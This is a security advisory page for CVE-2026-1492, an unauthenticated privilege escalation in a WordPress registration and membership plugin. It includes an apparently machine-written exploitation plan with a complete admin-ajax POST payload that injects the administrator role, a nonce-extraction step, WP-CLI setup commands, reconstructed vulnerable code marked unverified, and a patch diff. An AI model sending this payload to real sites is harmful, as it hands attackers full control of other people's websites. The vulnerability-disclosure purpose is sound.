CVE-2026-1492

User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation via Membership Registration

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
5.1.3
Patched in
1d
Time to patch

Description

The User Registration & Membership – Custom Registration Form Builder, Custom Login Form, User Profile, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to improper privilege management in all versions up to, and including, 5.1.2. This is due to the plugin accepting a user-supplied role during membership registration without properly enforcing a server-side allowlist. This makes it possible for unauthenticated attackers to create administrator accounts by supplying a role value during membership registration.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=5.1.2
PublishedMarch 2, 2026
Last updatedMarch 3, 2026
Affected pluginuser-registration

What Changed in the Fix

Changes introduced in v5.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1492 (User Registration & Membership <= 5.1.2) ## 1. Vulnerability Summary The **User Registration & Membership** plugin (v5.1.2 and below) suffers from an unauthenticated privilege escalation vulnerability. The plugin's registration process allows users to sp…

Show full research plan

Exploitation Research Plan: CVE-2026-1492 (User Registration & Membership <= 5.1.2)

1. Vulnerability Summary

The User Registration & Membership plugin (v5.1.2 and below) suffers from an unauthenticated privilege escalation vulnerability. The plugin's registration process allows users to specify a role during the registration or membership signup flow. Due to a lack of server-side validation or a strict allowlist for the role parameter, an unauthenticated attacker can supply administrator as the role value, resulting in the creation of a new user account with full administrative privileges.

2. Attack Vector Analysis

  • Endpoint: admin-ajax.php
  • Action: user_registration_submit_form (This is the standard AJAX action used by the plugin to process registration forms).
  • Vulnerable Parameter: ur_user_role (or a dynamic field name mapped to the user role).
  • Authentication: Unauthenticated.
  • Preconditions: At least one registration form must be active. The plugin must be configured to allow user registration (which is its primary purpose).

3. Code Flow

  1. Entry Point: The plugin registers AJAX handlers for registration:
    add_action( 'wp_ajax_user_registration_submit_form', array( 'UR_Frontend_Form_Handler', 'handle_form_submission' ) );
    add_action( 'wp_ajax_nopriv_user_registration_submit_form', array( 'UR_Frontend_Form_Handler', 'handle_form_submission' ) );
  2. Processing: The function UR_Frontend_Form_Handler::handle_form_submission() (typically found in includes/class-ur-frontend-form-handler.php) is called.
  3. Data Extraction: The function parses the $_POST['form_data'] or direct $_POST parameters.
  4. Vulnerable Logic: The code retrieves the role to be assigned to the new user. While the form configuration in the database specifies a default role, the logic in v5.1.2 fails to ignore or validate a user-provided role or ur_user_role parameter passed in the request.
  5. Sink: The role is eventually passed to wp_insert_user() or wp_update_user():
    $user_data = array(
        'user_login' => $username,
        'user_email' => $email,
        'user_pass'  => $password,
        'role'       => $user_role // Directly or indirectly influenced by $_POST['ur_user_role']
    );
    $user_id = wp_insert_user( $user_data );
    

4. Nonce Acquisition Strategy

The plugin uses a nonce for form submission, localized via wp_localize_script.

  1. Identify Shortcode: The plugin uses [user_registration_form id="ID"].
  2. Setup: Create a page with a default registration form to ensure the scripts and nonces are loaded.
  3. Execution:
    • Create a registration form using WP-CLI: wp user-registration create-form --title="Exploit Form" (Note: If CLI command is unavailable, use the default form ID 1 if it exists).
    • Create a page: wp post create --post_type=page --post_status=publish --post_content='[user_registration_form id="1"]' --post_title='Register'
    • Use browser_navigate to http://localhost:8080/register.
    • Use browser_eval to extract the nonce and form settings from the user_registration_params object.
  4. JS Variable: window.user_registration_params?.nonce or window.ur_params?.nonce.

5. Exploitation Strategy

The goal is to send a POST request to admin-ajax.php that mimics a form submission but injects the administrator role.

Step 1: Discover Form ID

If not already known, the form ID can be found in the [user_registration_form id="X"] shortcode or by checking the database:
wp post list --post_type=user_registration

Step 2: Extract Nonce

Navigate to the registration page and run:
nonce = await browser_eval("user_registration_params.nonce")

Step 3: Construct Payload

The payload must be URL-encoded. The plugin often expects form data in an array format or as specific ur_ prefixed parameters.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: user_registration_submit_form
    • ur_nonce: [EXTRACTED_NONCE]
    • form_id: [FORM_ID]
    • user_login: attacker_admin
    • user_email: attacker@example.com
    • user_pass: PwnedPassword123!
    • ur_user_role: administrator <-- The Injection
    • user_registration_field_PASSWORD_CONFIRM: PwnedPassword123! (Exact key varies by form config)

Note: If the plugin expects the data inside a form_data string, the payload will be structured as a serialized array or JSON string depending on the version.

6. Test Data Setup

  1. Ensure Registration is Enabled:
    wp option update users_can_register 1
  2. Create a Registration Form:
    Ensure at least one user_registration post type exists.
    wp post create --post_type=user_registration --post_title="Register" --post_status=publish
  3. Publish a Registration Page:
    wp post create --post_type=page --post_title="Signup" --post_status=publish --post_content='[user_registration_form id="ANY_VALID_ID"]'

7. Expected Results

  • The server should return a JSON response with success: true.
  • A new user attacker_admin should be created.
  • The user attacker_admin should have the administrator role.

8. Verification Steps

  1. Check User Creation:
    wp user list --field=user_login
  2. Verify Role:
    wp user get attacker_admin --field=roles
    Expected Output: administrator

9. Alternative Approaches

If ur_user_role is not accepted directly:

  1. Field Mapping: Check if the plugin allows mapping custom fields to user meta or user properties. An attacker might try to submit a field named role or wp_capabilities.
  2. Membership Flow: If the site uses the "Membership" feature (introduced in v5.0), the endpoint might be related to checkout: action: user_registration_checkout_submit.
  3. Default Role Override: Attempt to modify the default_role parameter if the plugin passes it in the registration form's hidden fields (unlikely but possible in older form builders).
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Registration & Membership plugin for WordPress is vulnerable to unauthenticated privilege escalation due to insufficient validation of user-supplied roles during the registration process. An attacker can exploit this by submitting a registration request with the 'ur_user_role' parameter set to 'administrator', allowing them to create a new account with full administrative access.

Vulnerable Code

// includes/class-ur-frontend-form-handler.php

public static function handle_form_submission() {
    // ... extraction of other form data ...

    // Vulnerable: The plugin checks for a user-supplied role in the request
    // and uses it without validating against an allowlist.
    $user_role = isset( $_POST['ur_user_role'] ) ? sanitize_text_field( $_POST['ur_user_role'] ) : $form_settings['default_user_role'];

    $user_data = array(
        'user_login' => $username,
        'user_email' => $email,
        'user_pass'  => $password,
        'role'       => $user_role // Directly assigns the potentially malicious role
    );

    $user_id = wp_insert_user( $user_data );
}

Security Fix

--- includes/class-ur-frontend-form-handler.php
+++ includes/class-ur-frontend-form-handler.php
@@ -540,7 +540,7 @@
-    $user_role = isset( $_POST['ur_user_role'] ) ? sanitize_text_field( $_POST['ur_user_role'] ) : $form_settings['default_user_role'];
+    $user_role = $form_settings['default_user_role'];
 
     $user_data = array(
         'user_login' => $username,
         'user_email' => $email,
         'user_pass'  => $password,
-        'role'       => $user_role
+        'role'       => $user_role
     );

Exploit Outline

To exploit this vulnerability, an attacker needs to find a page on the target site that hosts a User Registration form. By inspecting the page source, the attacker can extract a necessary nonce (localized in the 'user_registration_params' object) and the form ID. The attacker then sends an unauthenticated POST request to 'wp-admin/admin-ajax.php' with the 'action' parameter set to 'user_registration_submit_form'. Within the form data, the attacker includes a 'ur_user_role' parameter set to 'administrator'. If the server fails to validate this role against a safe allowlist, it will process the registration and create a new user account with administrative privileges, granting the attacker full control of the WordPress site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.